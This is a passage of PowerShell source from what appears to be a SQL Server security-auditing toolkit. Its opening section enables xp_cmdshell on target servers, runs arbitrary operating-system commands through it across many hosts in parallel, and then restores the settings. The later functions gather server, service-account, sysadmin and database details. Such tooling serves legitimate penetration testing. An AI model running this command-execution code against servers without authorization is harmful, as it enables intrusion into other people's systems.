                    Get-SQLQuery -Instance $Instance -Query "sp_configure 'Show Advanced Options',1;RECONFIGURE" -Username $Username -Password $Password -Credential $Credential -SuppressVerbose

                    # Check if configuration change worked
                    $IsShowAdvancedEnabled2 = Get-SQLQuery -Instance $Instance -Query "sp_configure 'Show Advanced Options'" -Username $Username -Password $Password -Credential $Credential -SuppressVerbose | Select-Object -Property config_value -ExpandProperty config_value

                    if ($IsShowAdvancedEnabled2 -eq 1)
                    {
                        Write-Verbose -Message "$Instance : Enabled Show Advanced Options."
                    }
                    else
                    {
                        Write-Verbose -Message "$Instance : Enabling Show Advanced Options failed. Aborting."

                        # Add record
                        $null = $TblResults.Rows.Add("$ComputerName","$Instance",'Could not enable Show Advanced Options.')
                        return
                    }
                }

                # Enable xp_cmdshell if needed
                if ($IsXpCmdshellEnabled -eq 1)
                {
                    Write-Verbose -Message "$Instance : xp_cmdshell is already enabled."
                }
                else
                {
                    Write-Verbose -Message "$Instance : xp_cmdshell is disabled."
                    $DisableXpCmdshell = 1

                    # Try to enable xp_cmdshell
                    Get-SQLQuery -Instance $Instance -Query "sp_configure 'xp_cmdshell',1;RECONFIGURE" -Username $Username -Password $Password -Credential $Credential -SuppressVerbose

                    # Check if configuration change worked
                    $IsXpCmdshellEnabled2 = Get-SQLQuery -Instance $Instance -Query 'sp_configure xp_cmdshell' -Username $Username -Password $Password -Credential $Credential -SuppressVerbose | Select-Object -Property config_value -ExpandProperty config_value

                    if ($IsXpCmdshellEnabled2 -eq 1)
                    {
                        Write-Verbose -Message "$Instance : Enabled xp_cmdshell."
                    }
                    else
                    {
                        Write-Verbose -Message "$Instance : Enabling xp_cmdshell failed. Aborting."                
                        
                        # Add record
                        $null = $TblResults.Rows.Add("$ComputerName","$Instance",'Could not enable xp_cmdshell.')

                        return
                    }
                }

                # Setup OS command
                Write-Verbose -Message "$Instance : Running command: $Command"
                #$Query = "EXEC master..xp_cmdshell '$Command' WITH RESULT SETS ((output VARCHAR(MAX)))"
                $Query = "EXEC master..xp_cmdshell '$Command'"

                # Execute OS command
                $CmdResults = Get-SQLQuery -Instance $Instance -Query $Query -Username $Username -Password $Password -Credential $Credential -SuppressVerbose | Select-Object -Property output -ExpandProperty output

                # Display results or add to final results table
                if($RawResults)
                {
                    $CmdResults
                }
                else
                {
                    $null = $TblResults.Rows.Add($ComputerName, $Instance, [string]$CmdResults)
                }
                
                # Restore xp_cmdshell state if needed
                if($DisableXpCmdshell -eq 1)
                {
                    Write-Verbose -Message "$Instance : Disabling xp_cmdshell"
                    Get-SQLQuery -Instance $Instance -Query "sp_configure 'xp_cmdshell',0;RECONFIGURE" -Username $Username -Password $Password -Credential $Credential -SuppressVerbose
                }

                # Restore Show Advanced Options state if needed
                if($DisableShowAdvancedOptions -eq 1)
                {
                    Write-Verbose -Message "$Instance : Disabling Show Advanced Options"
                    Get-SQLQuery -Instance $Instance -Query "sp_configure 'Show Advanced Options',0;RECONFIGURE" -Username $Username -Password $Password -Credential $Credential -SuppressVerbose
                }

                # Close connection
                $Connection.Close()

                # Dispose connection
                $Connection.Dispose()
            }
            catch
            {
                # Connection failed
                                 
                if(-not $SuppressVerbose)
                {
                    $ErrorMessage = $_.Exception.Message
                    Write-Verbose -Message "$Instance : Connection Failed."
                    #Write-Verbose " Error: $ErrorMessage"
                }

                # Add record
                $null = $TblResults.Rows.Add("$ComputerName","$Instance",'Not Accessible')
            }                              
        }         

        # Run scriptblock using multi-threading
        $PipelineItems | Invoke-Parallel -ScriptBlock $MyScriptBlock -ImportSessionFunctions -ImportVariables -Throttle $Threads -RunspaceTimeout 2 -Quiet -ErrorAction SilentlyContinue                

        return $TblResults
    }
}

# ----------------------------------
# Get-SQLServerInfo
# ----------------------------------
# Author: Scott Sutherland
Function  Get-SQLServerInfo 
{
    <#
            .SYNOPSIS
            Returns basic server and user information from target SQL Servers.
            .PARAMETER Username
            SQL Server or domain account to authenticate with.
            .PARAMETER Password
            SQL Server or domain account password to authenticate with.
            .PARAMETER Credential
            SQL Server credential.
            .PARAMETER Instance
            SQL Server instance to connection to.
            .EXAMPLE
            PS C:\> Get-SQLServerInfo -Instance SQLServer1\STANDARDDEV2014
 
            ComputerName : SQLServer1
            Instance : SQLServer1\STANDARDDEV2014
            DomainName : Domain
            ServiceName : MSSQL$STANDARDDEV2014
            ServiceAccount : LocalSystem
            AuthenticationMode : Windows and SQL Server Authentication
            Clustered : No
            SQLServerVersionNumber : 12.0.4213.0
            SQLServerMajorVersion : 2014
            SQLServerEdition : Developer Edition (64-bit)
            SQLServerServicePack : SP1
            OSArchitecture : X64
            OsMachineType : WinNT
            OSVersionName : Windows 8.1 Pro
            OsVersionNumber : 6.3
            Currentlogin : Domain\MyUser
            IsSysadmin : Yes
            ActiveSessions : 1
            .EXAMPLE
            PS C:\> Get-SQLInstanceLocal | Get-SQLServerInfo -Verbose
    #>
    [CmdletBinding()]
    Param(
        [Parameter(Mandatory = $false,
        HelpMessage = 'SQL Server or domain account to authenticate with.')]
        [string]$Username,

        [Parameter(Mandatory = $false,
        HelpMessage = 'SQL Server or domain account password to authenticate with.')]
        [string]$Password,

        [Parameter(Mandatory = $false,
        HelpMessage = 'Windows credentials.')]
        [System.Management.Automation.PSCredential]
        [System.Management.Automation.Credential()]$Credential = [System.Management.Automation.PSCredential]::Empty,
        
        [Parameter(Mandatory = $false,
        ValueFromPipelineByPropertyName = $true,
        HelpMessage = 'SQL Server instance to connection to.')]
        [string]$Instance,

        [Parameter(Mandatory = $false,
        HelpMessage = 'Suppress verbose errors. Used when function is wrapped.')]
        [switch]$SuppressVerbose
    )

    Begin
    {
        # Table for output
        $TblServerInfo = New-Object -TypeName System.Data.DataTable
    }

    Process
    {
        # Parse computer name from the instance
        $ComputerName = Get-ComputerNameFromInstance -Instance $Instance

        # Default connection to local default instance
        if(-not $Instance)
        {
            $Instance = $env:COMPUTERNAME
        }

        # Test connection to instance
        $TestConnection = Get-SQLConnectionTest -Instance $Instance -Username $Username -Password $Password -Credential $Credential -SuppressVerbose | Where-Object -FilterScript {
            $_.Status -eq 'Accessible'
        }
        if($TestConnection)
        {
            if( -not $SuppressVerbose)
            {
                Write-Verbose -Message "$Instance : Connection Success."
            }
        }
        else
        {
            if( -not $SuppressVerbose)
            {
                Write-Verbose -Message "$Instance : Connection Failed."
            }
            return
        }

        # Get number of active sessions for server
        $ActiveSessions = Get-SQLSession -Instance $Instance -Credential $Credential -Username $Username -Password $Password -SuppressVerbose |
        Where-Object -FilterScript {
            $_.SessionStatus -eq 'running'
        } |
        Measure-Object -Line |
        Select-Object -Property Lines -ExpandProperty Lines

        # Get sysadmin status
        $IsSysadmin = Get-SQLSysadminCheck -Instance $Instance -Credential $Credential -Username $Username -Password $Password -SuppressVerbose | Select-Object -Property IsSysadmin -ExpandProperty IsSysadmin

        if($IsSysadmin -eq 'Yes')
        {
            # Grab additional information if sysadmin
            $SysadminSetup = "
                -- Get machine type
                DECLARE @MachineType SYSNAME
                EXECUTE master.dbo.xp_regread
                @rootkey = N'HKEY_LOCAL_MACHINE',
                @key = N'SYSTEM\CurrentControlSet\Control\ProductOptions',
                @value_name = N'ProductType',
                @value = @MachineType output
 
                -- Get OS version
                DECLARE @ProductName SYSNAME
                EXECUTE master.dbo.xp_regread
                @rootkey = N'HKEY_LOCAL_MACHINE',
                @key = N'SOFTWARE\Microsoft\Windows NT\CurrentVersion',
                @value_name = N'ProductName',
            @value = @ProductName output"

            $SysadminQuery = ' @MachineType as [OsMachineType],
            @ProductName as [OSVersionName],'
        }
        else
        {
            $SysadminSetup = ''
            $SysadminQuery = ''
        }

        # Define Query
        $Query = " -- Get SQL Server Information
 
            -- Get SQL Server Service Name and Path
            DECLARE @SQLServerInstance varchar(250)
            DECLARE @SQLServerServiceName varchar(250)
            if @@SERVICENAME = 'MSSQLSERVER'
            BEGIN
            set @SQLServerInstance = 'SYSTEM\CurrentControlSet\Services\MSSQLSERVER'
            set @SQLServerServiceName = 'MSSQLSERVER'
            END
            ELSE
            BEGIN
            set @SQLServerInstance = 'SYSTEM\CurrentControlSet\Services\MSSQL$'+cast(@@SERVICENAME as varchar(250))
            set @SQLServerServiceName = 'MSSQL$'+cast(@@SERVICENAME as varchar(250))
            END
 
            -- Get SQL Server Service Account
            DECLARE @ServiceaccountName varchar(250)
            EXECUTE master.dbo.xp_instance_regread
            N'HKEY_LOCAL_MACHINE', @SQLServerInstance,
            N'ObjectName',@ServiceAccountName OUTPUT, N'no_output'
 
            -- Get authentication mode
            DECLARE @AuthenticationMode INT
            EXEC master.dbo.xp_instance_regread N'HKEY_LOCAL_MACHINE',
            N'Software\Microsoft\MSSQLServer\MSSQLServer',
            N'LoginMode', @AuthenticationMode OUTPUT
 
            -- Grab additional information as sysadmin
            $SysadminSetup
 
            -- Return server and version information
            SELECT '$ComputerName' as [ComputerName],
            @@servername as [Instance],
            DEFAULT_DOMAIN() as [DomainName],
            @SQLServerServiceName as [ServiceName],
            @ServiceAccountName as [ServiceAccount],
            (SELECT CASE @AuthenticationMode
            WHEN 1 THEN 'Windows Authentication'
            WHEN 2 THEN 'Windows and SQL Server Authentication'
            ELSE 'Unknown'
            END) as [AuthenticationMode],
            CASE SERVERPROPERTY('IsClustered')
            WHEN 0
            THEN 'No'
            ELSE 'Yes'
            END as [Clustered],
            SERVERPROPERTY('productversion') as [SQLServerVersionNumber],
            SUBSTRING(@@VERSION, CHARINDEX('2', @@VERSION), 4) as [SQLServerMajorVersion],
            serverproperty('Edition') as [SQLServerEdition],
            SERVERPROPERTY('ProductLevel') AS [SQLServerServicePack],
            SUBSTRING(@@VERSION, CHARINDEX('x', @@VERSION), 3) as [OSArchitecture],
            $SysadminQuery
            RIGHT(SUBSTRING(@@VERSION, CHARINDEX('Windows NT', @@VERSION), 14), 3) as [OsVersionNumber],
            SYSTEM_USER as [Currentlogin],
            '$IsSysadmin' as [IsSysadmin],
        '$ActiveSessions' as [ActiveSessions]"
        # Execute Query
        $TblServerInfoTemp = Get-SQLQuery -Instance $Instance -Query $Query -Username $Username -Password $Password -Credential $Credential -SuppressVerbose
        
        # Append as needed
        $TblServerInfo = $TblServerInfo + $TblServerInfoTemp
    }

    End
    {  
        # Return data
        $TblServerInfo             
    }
}


# ----------------------------------
# Get-SQLServerInfoThreaded
# ----------------------------------
# Author: Scott Sutherland
Function  Get-SQLServerInfoThreaded 
{
    <#
            .SYNOPSIS
            Returns basic server and user information from target SQL Servers.
            .PARAMETER Username
            SQL Server or domain account to authenticate with.
            .PARAMETER Password
            SQL Server or domain account password to authenticate with.
            .PARAMETER Credential
            SQL Server credential.
            .PARAMETER Instance
            SQL Server instance to connection to.
            .PARAMETER Instance
            Number of host threads.
            .EXAMPLE
            PS C:\> Get-SQLServerInfoThreaded -Instance SQLServer1\STANDARDDEV2014
 
            ComputerName : SQLServer1
            Instance : SQLServer1\STANDARDDEV2014
            DomainName : Domain
            ServiceName : MSSQL$STANDARDDEV2014
            ServiceAccount : LocalSystem
            AuthenticationMode : Windows and SQL Server Authentication
            Clustered : No
            SQLServerVersionNumber : 12.0.4213.0
            SQLServerMajorVersion : 2014
            SQLServerEdition : Developer Edition (64-bit)
            SQLServerServicePack : SP1
            OSArchitecture : X64
            OsMachineType : WinNT
            OSVersionName : Windows 8.1 Pro
            OsVersionNumber : 6.3
            Currentlogin : Domain\MyUser
            IsSysadmin : Yes
            ActiveSessions : 1
            .EXAMPLE
            PS C:\> Get-SQLInstanceLocal | Get-SQLServerInfoThreaded -Verbose -Threads 20
    #>
    [CmdletBinding()]
    Param(
        [Parameter(Mandatory = $false,
        HelpMessage = 'SQL Server or domain account to authenticate with.')]
        [string]$Username,

        [Parameter(Mandatory = $false,
        HelpMessage = 'SQL Server or domain account password to authenticate with.')]
        [string]$Password,

        [Parameter(Mandatory = $false,
        HelpMessage = 'Windows credentials.')]
        [System.Management.Automation.PSCredential]
        [System.Management.Automation.Credential()]$Credential = [System.Management.Automation.PSCredential]::Empty,
        
        [Parameter(Mandatory = $false,
        ValueFromPipelineByPropertyName = $true,
        HelpMessage = 'SQL Server instance to connection to.')]
        [string]$Instance,

        [Parameter(Mandatory = $false,
        HelpMessage = 'Number of threads.')]
        [int]$Threads = 5,

        [Parameter(Mandatory = $false,
        HelpMessage = 'Suppress verbose errors. Used when function is wrapped.')]
        [switch]$SuppressVerbose
    )

    Begin
    {
        # Setup data table for output
        $TblServerInfo = New-Object -TypeName System.Data.DataTable
        $null = $TblServerInfo.Columns.Add('ComputerName')
        $null = $TblServerInfo.Columns.Add('Instance')
        $null = $TblServerInfo.Columns.Add('DomainName')
        $null = $TblServerInfo.Columns.Add('ServiceName')
        $null = $TblServerInfo.Columns.Add('ServiceAccount')
        $null = $TblServerInfo.Columns.Add('AuthenticationMode')
        $null = $TblServerInfo.Columns.Add('Clustered')
        $null = $TblServerInfo.Columns.Add('SQLServerVersionNumber')
        $null = $TblServerInfo.Columns.Add('SQLServerMajorVersion')
        $null = $TblServerInfo.Columns.Add('SQLServerEdition')
        $null = $TblServerInfo.Columns.Add('SQLServerServicePack')
        $null = $TblServerInfo.Columns.Add('OSArchitecture')
        $null = $TblServerInfo.Columns.Add('OsMachineType')
        $null = $TblServerInfo.Columns.Add('OSVersionName') 
        $null = $TblServerInfo.Columns.Add('OsVersionNumber')
        $null = $TblServerInfo.Columns.Add('Currentlogin')
        $null = $TblServerInfo.Columns.Add('IsSysadmin')
        $null = $TblServerInfo.Columns.Add('ActiveSessions')

        # Setup data table for pipeline threading
        $PipelineItems = New-Object -TypeName System.Data.DataTable

        # Ensure provide instance is processed
        if($Instance)
        {
            $ProvideInstance = New-Object -TypeName PSObject -Property @{
                Instance = $Instance
            }
            $PipelineItems = $PipelineItems + $ProvideInstance
        }
    }

    Process
    {      
        # Create list of pipeline items
        $PipelineItems = $PipelineItems + $_         
    }

    End
    {   
        # Define code to be multi-threaded
        $MyScriptBlock = {
            $Instance = $_.Instance

            # Parse computer name from the instance
            $ComputerName = Get-ComputerNameFromInstance -Instance $Instance

            # Default connection to local default instance
            if(-not $Instance)
            {
                $Instance = $env:COMPUTERNAME
            }

            # Test connection to instance
            $TestConnection = Get-SQLConnectionTest -Instance $Instance -Username $Username -Password $Password -Credential $Credential -SuppressVerbose | Where-Object -FilterScript {
                $_.Status -eq 'Accessible'
            }
            if($TestConnection)
            {
                if( -not $SuppressVerbose)
                {
                    Write-Verbose -Message "$Instance : Connection Success."
                }
            }
            else
            {
                if( -not $SuppressVerbose)
                {
                    Write-Verbose -Message "$Instance : Connection Failed."
                }
                return
            }

            # Get number of active sessions for server
            $ActiveSessions = Get-SQLSession -Instance $Instance -Credential $Credential -Username $Username -Password $Password -SuppressVerbose |
            Where-Object -FilterScript {
                $_.SessionStatus -eq 'running'
            } |
            Measure-Object -Line |
            Select-Object -Property Lines -ExpandProperty Lines

            # Get sysadmin status
            $IsSysadmin = Get-SQLSysadminCheck -Instance $Instance -Credential $Credential -Username $Username -Password $Password -SuppressVerbose | Select-Object -Property IsSysadmin -ExpandProperty IsSysadmin

            if($IsSysadmin -eq 'Yes')
            {
                # Grab additional information if sysadmin
                $SysadminSetup = "
                    -- Get machine type
                    DECLARE @MachineType SYSNAME
                    EXECUTE master.dbo.xp_regread
                    @rootkey = N'HKEY_LOCAL_MACHINE',
                    @key = N'SYSTEM\CurrentControlSet\Control\ProductOptions',
                    @value_name = N'ProductType',
                    @value = @MachineType output
 
                    -- Get OS version
                    DECLARE @ProductName SYSNAME
                    EXECUTE master.dbo.xp_regread
                    @rootkey = N'HKEY_LOCAL_MACHINE',
                    @key = N'SOFTWARE\Microsoft\Windows NT\CurrentVersion',
                    @value_name = N'ProductName',
                @value = @ProductName output"

                $SysadminQuery = ' @MachineType as [OsMachineType],
                @ProductName as [OSVersionName],'
            }
            else
            {
                $SysadminSetup = ''
                $SysadminQuery = ''
            }

            # Define Query
            $Query = " -- Get SQL Server Information
 
                -- Get SQL Server Service Name and Path
                DECLARE @SQLServerInstance varchar(250)
                DECLARE @SQLServerServiceName varchar(250)
                if @@SERVICENAME = 'MSSQLSERVER'
                BEGIN
                set @SQLServerInstance = 'SYSTEM\CurrentControlSet\Services\MSSQLSERVER'
                set @SQLServerServiceName = 'MSSQLSERVER'
                END
                ELSE
                BEGIN
                set @SQLServerInstance = 'SYSTEM\CurrentControlSet\Services\MSSQL$'+cast(@@SERVICENAME as varchar(250))
                set @SQLServerServiceName = 'MSSQL$'+cast(@@SERVICENAME as varchar(250))
                END
 
                -- Get SQL Server Service Account
                DECLARE @ServiceaccountName varchar(250)
                EXECUTE master.dbo.xp_instance_regread
                N'HKEY_LOCAL_MACHINE', @SQLServerInstance,
                N'ObjectName',@ServiceAccountName OUTPUT, N'no_output'
 
                -- Get authentication mode
                DECLARE @AuthenticationMode INT
                EXEC master.dbo.xp_instance_regread N'HKEY_LOCAL_MACHINE',
                N'Software\Microsoft\MSSQLServer\MSSQLServer',
                N'LoginMode', @AuthenticationMode OUTPUT
 
                -- Grab additional information as sysadmin
                $SysadminSetup
 
                -- Return server and version information
                SELECT '$ComputerName' as [ComputerName],
                @@servername as [Instance],
                DEFAULT_DOMAIN() as [DomainName],
                @SQLServerServiceName as [ServiceName],
                @ServiceAccountName as [ServiceAccount],
                (SELECT CASE @AuthenticationMode
                WHEN 1 THEN 'Windows Authentication'
                WHEN 2 THEN 'Windows and SQL Server Authentication'
                ELSE 'Unknown'
                END) as [AuthenticationMode],
                CASE SERVERPROPERTY('IsClustered')
                WHEN 0
                THEN 'No'
                ELSE 'Yes'
                END as [Clustered],
                SERVERPROPERTY('productversion') as [SQLServerVersionNumber],
                SUBSTRING(@@VERSION, CHARINDEX('2', @@VERSION), 4) as [SQLServerMajorVersion],
                serverproperty('Edition') as [SQLServerEdition],
                SERVERPROPERTY('ProductLevel') AS [SQLServerServicePack],
                SUBSTRING(@@VERSION, CHARINDEX('x', @@VERSION), 3) as [OSArchitecture],
                $SysadminQuery
                RIGHT(SUBSTRING(@@VERSION, CHARINDEX('Windows NT', @@VERSION), 14), 3) as [OsVersionNumber],
                SYSTEM_USER as [Currentlogin],
                '$IsSysadmin' as [IsSysadmin],
            '$ActiveSessions' as [ActiveSessions]"
            # Execute Query
            $TblServerInfoTemp = Get-SQLQuery -Instance $Instance -Query $Query -Username $Username -Password $Password -Credential $Credential -SuppressVerbose            
        
            # Append as needed
            $TblServerInfoTemp |
            ForEach-Object -Process {
                # Add row
                $null = $TblServerInfo.Rows.Add(
                    $_.ComputerName,
                    $_.Instance,
                    $_.DomainName,
                    $_.ServiceName,
                    $_.ServiceAccount,
                    $_.AuthenticationMode,
                    $_.Clustered,
                    $_.SQLServerVersionNumber,
                    $_.SQLServerMajorVersion,
                    $_.SQLServerEdition,
                    $_.SQLServerServicePack,
                    $_.OSArchitecture,
                    $_.OsMachineType,
                    $_.OSVersionName,
                    $_.OsVersionNumber,
                    $_.Currentlogin,
                    $_.IsSysadmin,
                    $_.ActiveSessions
                )
            }
        }         

        # Run scriptblock using multi-threading
        $PipelineItems | Invoke-Parallel -ScriptBlock $MyScriptBlock -ImportSessionFunctions -ImportVariables -Throttle $Threads -RunspaceTimeout 2 -Quiet -ErrorAction SilentlyContinue                

        return $TblServerInfo 
    }
}


# ----------------------------------
# Get-SQLDatabase
# ----------------------------------
# Author: Scott Sutherland
Function  Get-SQLDatabase 
{
    <#
            .SYNOPSIS
            Returns database information from target SQL Servers.
            .PARAMETER Username
            SQL Server or domain account to authenticate with.
            .PARAMETER Password
            SQL Server or domain account password to authenticate with.
            .PARAMETER Credential
            SQL Server credential.
            .PARAMETER Instance
            SQL Server instance to connection to.
            .PARAMETER DAC
            Connect using Dedicated Admin Connection.
            .PARAMETER DatabaseName
            Database name to filter for.
            .PARAMETER NoDefaults
            Only select non default databases.
            .PARAMETER HasAccess
            Only select databases the current user has access to.
            .PARAMETER SysAdminOnly
            Only select databases owned by a sysadmin.
            .EXAMPLE
            PS C:\> Get-SQLDatabase -Instance SQLServer1\STANDARDDEV2014 -NoDefaults -DatabaseName testdb
 
            ComputerName : SQLServer1
            Instance : SQLServer1\STANDARDDEV2014
            DatabaseId : 7
            DatabaseName : testdb
            DatabaseOwner : sa
            OwnerIsSysadmin : 1
            is_trustworthy_on : True
            is_db_chaining_on : False
            is_broker_enabled : True
            is_encrypted : False
            is_read_only : False
            create_date : 4/13/2016 4:27:36 PM
            recovery_model_desc : FULL
            FileName : C:\Program Files\Microsoft SQL Server\MSSQL12.STANDARDDEV2014\MSSQL\DATA\testdb.mdf
            DbSizeMb : 3.19
            has_dbaccess : 1
            .EXAMPLE
            PS C:\> Get-SQLInstanceLocal | Get-SQLDatabase -Verbose
    #>
    [CmdletBinding()]
    Param(
        [Parameter(Mandatory = $false,
        HelpMessage = 'SQL Server or domain account to authenticate with.')]
        [string]$Username,

        [Parameter(Mandatory = $false,
        HelpMessage = 'SQL Server or domain account password to authenticate with.')]
        [string]$Password,

        [Parameter(Mandatory = $false,
        HelpMessage = 'Windows credentials.')]
        [System.Management.Automation.PSCredential]
        [System.Management.Automation.Credential()]$Credential = [System.Management.Automation.PSCredential]::Empty,
        
        [Parameter(Mandatory = $false,
        ValueFromPipelineByPropertyName = $true,
        HelpMessage = 'SQL Server instance to connection to.')]
        [string]$Instance,

        [Parameter(Mandatory = $false,
        ValueFromPipeline = $true,
        ValueFromPipelineByPropertyName = $true,
        HelpMessage = 'Database name.')]
        [string]$DatabaseName,

        [Parameter(Mandatory = $false,
        HelpMessage = 'Only select non default databases.')]
        [switch]$NoDefaults,

        [Parameter(Mandatory = $false,
        HelpMessage = 'Only select databases the current user has access to.')]
        [switch]$HasAccess,

        [Parameter(Mandatory = $false,
        HelpMessage = 'Only select databases owned by a sysadmin.')]
        [switch]$SysAdminOnly,

        [Parameter(Mandatory = $false,
        HelpMessage = 'Suppress verbose errors. Used when function is wrapped.')]
        [switch]$SuppressVerbose
    )

    Begin
    {
        # Create data tables for output
        $TblResults = New-Object -TypeName System.Data.DataTable
        $TblDatabases = New-Object -TypeName System.Data.DataTable
        $null = $TblDatabases.Columns.Add('ComputerName')
        $null = $TblDatabases.Columns.Add('Instance')
        $null = $TblDatabases.Columns.Add('DatabaseId')
        $null = $TblDatabases.Columns.Add('DatabaseName')
        $null = $TblDatabases.Columns.Add('DatabaseOwner')
        $null = $TblDatabases.Columns.Add('OwnerIsSysadmin')
        $null = $TblDatabases.Columns.Add('is_trustworthy_on')
        $null = $TblDatabases.Columns.Add('is_db_chaining_on')
        $null = $TblDatabases.Columns.Add('is_broker_enabled')
        $null = $TblDatabases.Columns.Add('is_encrypted')
        $null = $TblDatabases.Columns.Add('is_read_only')
        $null = $TblDatabases.Columns.Add('create_date')
        $null = $TblDatabases.Columns.Add('recovery_model_desc')
        $null = $TblDatabases.Columns.Add('FileName')
        $null = $TblDatabases.Columns.Add('DbSizeMb')
        $null = $TblDatabases.Columns.Add('has_dbaccess')

        # Setup database filter
        if($DatabaseName)
        {
            $DatabaseFilter = " and a.name like '$DatabaseName'"
        }
        else
        {
            $DatabaseFilter = ''
        }

        # Setup NoDefault filter
        if($NoDefaults)
        {
            $NoDefaultsFilter = " and a.name not in ('master','tempdb','msdb','model')"
        }
        else
        {
            $NoDefaultsFilter = ''
        }

        # Setup HasAccess filter
        if($HasAccess)
        {
            $HasAccessFilter = ' and HAS_DBACCESS(a.name)=1'
        }
        else
        {
            $HasAccessFilter = ''
        }

        # Setup owner is sysadmin filter
        if($SysAdminOnly)
        {
            $SysAdminOnlyFilter = " and IS_SRVROLEMEMBER('sysadmin',SUSER_SNAME(a.owner_sid))=1"
        }
        else
        {
            $SysAdminOnlyFilter = ''
        }
    }

    Process
    {    
        # Parse computer name from the instance
        $ComputerName = Get-ComputerNameFromInstance -Instance $Instance

        # Default connection to local default instance
        if(-not $Instance)
        {
            $Instance = $env:COMPUTERNAME
        }

        # Test connection to instance
        $TestConnection = Get-SQLConnectionTest -Instance $Instance -Username $Username -Password $Password -Credential $Credential -SuppressVerbose | Where-Object -FilterScript {
            $_.Status -eq 'Accessible'
        }
        if($TestConnection)
        {
            if( -not $SuppressVerbose)
            {
                Write-Verbose -Message "$Instance : Connection Success."
            }
        }
        else
        {
            if( -not $SuppressVerbose)
            {
                Write-Verbose -Message "$Instance : Connection Failed."
            }
            return
        }
           
        # Check version
        $SQLVersionFull = Get-SQLServerInfo -Instance $Instance -Username $Username -Password $Password -Credential $Credential -SuppressVerbose | Select-Object -Property SQLServerVersionNumber -ExpandProperty SQLServerVersionNumber         
        if($SQLVersionFull)
        {
            $SQLVersionShort = $SQLVersionFull.Split('.')[0]
        }

        # Base query
        $QueryStart = " SELECT '$ComputerName' as [ComputerName],
            '$Instance' as [Instance],
            a.database_id as [DatabaseId],
            a.name as [DatabaseName],
            SUSER_SNAME(a.owner_sid) as [DatabaseOwner],
            IS_SRVROLEMEMBER('sysadmin',SUSER_SNAME(a.owner_sid)) as [OwnerIsSysadmin],
            a.is_trustworthy_on,
        a.is_db_chaining_on,"

        # Version specific columns
        if([int]$SQLVersionShort -ge 10)
        {
            $QueryVerSpec = '
                a.is_broker_enabled,
                a.is_encrypted,
            a.is_read_only,'
        }

        # Query end
        $QueryEnd = '
            a.create_date,
            a.recovery_model_desc,
            b.filename as [FileName],
            (SELECT CAST(SUM(size) * 8. / 1024 AS DECIMAL(8,2))
            from sys.master_files where name like a.name) as [DbSizeMb],
            HAS_DBACCESS(a.name) as [has_dbaccess]
            FROM [sys].[databases] a
        INNER JOIN [sys].[sysdatabases] b ON a.database_id = b.dbid WHERE 1=1'

        # User defined filters
        $Filters = "
            $DatabaseFilter
            $NoDefaultsFilter
            $HasAccessFilter
            $SysAdminOnlyFilter
        ORDER BY a.database_id"

        $Query = "$QueryStart $QueryVerSpec $QueryEnd $Filters"

        # Execute Query
        $TblResults = Get-SQLQuery -Instance $Instance -Query $Query -Username $Username -Password $Password -Credential $Credential -SuppressVerbose                              

        # Append results for pipeline items
        $TblResults | 
        ForEach-Object -Process {
            # Set version specific values
            if([int]$SQLVersionShort -ge 10)
            {
                $is_broker_enabled = $_.is_broker_enabled
                $is_encrypted = $_.is_encrypted
                $is_read_only = $_.is_read_only 
            }
            else
            {
                $is_broker_enabled = 'NA'
                $is_encrypted = 'NA'
                $is_read_only = 'NA'
            }
            
            $null = $TblDatabases.Rows.Add(
                $_.ComputerName,
                $_.Instance,
                $_.DatabaseId,
                $_.DatabaseName,
                $_.DatabaseOwner,
                $_.OwnerIsSysadmin,
                $_.is_trustworthy_on,
                $_.is_db_chaining_on,
                $is_broker_enabled,
                $is_encrypted,
                $is_read_only,
                $_.create_date,
                $_.recovery_model_desc,
                $_.FileName,
                $_.DbSizeMb,
                $_.has_dbaccess
            )
        } 
                                
    }

    End
    {  
        # Return data
        $TblDatabases              
    }
}


# ----------------------------------
# Get-SQLDatabaseThreaded
# ----------------------------------
# Author: Scott Sutherland
Function  Get-SQLDatabaseThreaded 
{
    <#
            .SYNOPSIS
            Returns database information from target SQL Servers.
            .PARAMETER Username
            SQL Server or domain account to authenticate with.
            .PARAMETER Password
            SQL Server or domain account password to authenticate with.
            .PARAMETER Credential
            SQL Server credential.
            .PARAMETER Instance
            SQL Server instance to connection to.
            .PARAMETER DAC
            Connect using Dedicated Admin Connection.
            .PARAMETER DatabaseName
            Database name to filter for.
            .PARAMETER NoDefaults
            Only select non default databases.
            .PARAMETER HasAccess
            Only select databases the current user has access to.
            .PARAMETER SysAdminOnly
            Only select databases owned by a sysadmin.
            .PARAMETER Threads
            Number of concurrent host threads.
            .EXAMPLE
            PS C:\> Get-SQLDatabaseThreaded -Instance SQLServer1\STANDARDDEV2014 -NoDefaults -DatabaseName testdb
 
            ComputerName : SQLServer1
            Instance : SQLServer1\STANDARDDEV2014
            DatabaseId : 7
            DatabaseName : testdb
            DatabaseOwner : sa
            OwnerIsSysadmin : 1
            is_trustworthy_on : True
            is_db_chaining_on : False
            is_broker_enabled : True
            is_encrypted : False
            is_read_only : False
            create_date : 4/13/2016 4:27:36 PM
            recovery_model_desc : FULL
            FileName : C:\Program Files\Microsoft SQL Server\MSSQL12.STANDARDDEV2014\MSSQL\DATA\testdb.mdf
            DbSizeMb : 3.19
            has_dbaccess : 1
            .EXAMPLE
            PS C:\> Get-SQLInstanceLocal | Get-SQLDatabaseThreaded -Verbose
    #>
    [CmdletBinding()]
    Param(
        [Parameter(Mandatory = $false,
        HelpMessage = 'SQL Server or domain account to authenticate with.')]
        [string]$Username,

        [Parameter(Mandatory = $false,
        HelpMessage = 'SQL Server or domain account password to authenticate with.')]
        [string]$Password,

        [Parameter(Mandatory = $false,
        HelpMessage = 'Windows credentials.')]
        [System.Management.Automation.PSCredential]
        [System.Management.Automation.Credential()]$Credential = [System.Management.Automation.PSCredential]::Empty,
        
        [Parameter(Mandatory = $false,
        ValueFromPipelineByPropertyName = $true,
        HelpMessage = 'SQL Server instance to connection to.')]
        [string]$Instance,

        [Parameter(Mandatory = $false,
        ValueFromPipeline = $true,
        ValueFromPipelineByPropertyName = $true,
        HelpMessage = 'Database name.')]
        [string]$DatabaseName,

        [Parameter(Mandatory = $false,
        HelpMessage = 'Only select non default databases.')]
        [switch]$NoDefaults,

        [Parameter(Mandatory = $false,
        HelpMessage = 'Only select databases the current user has access to.')]
        [switch]$HasAccess,

        [Parameter(Mandatory = $false,
        HelpMessage = 'Only select databases owned by a sysadmin.')]
        [switch]$SysAdminOnly,

        [Parameter(Mandatory = $false,
        HelpMessage = 'Number of threads.')]
        [int]$Threads = 2,

        [Parameter(Mandatory = $false,
        HelpMessage = 'Suppress verbose errors. Used when function is wrapped.')]
        [switch]$SuppressVerbose
    )

    Begin
    {
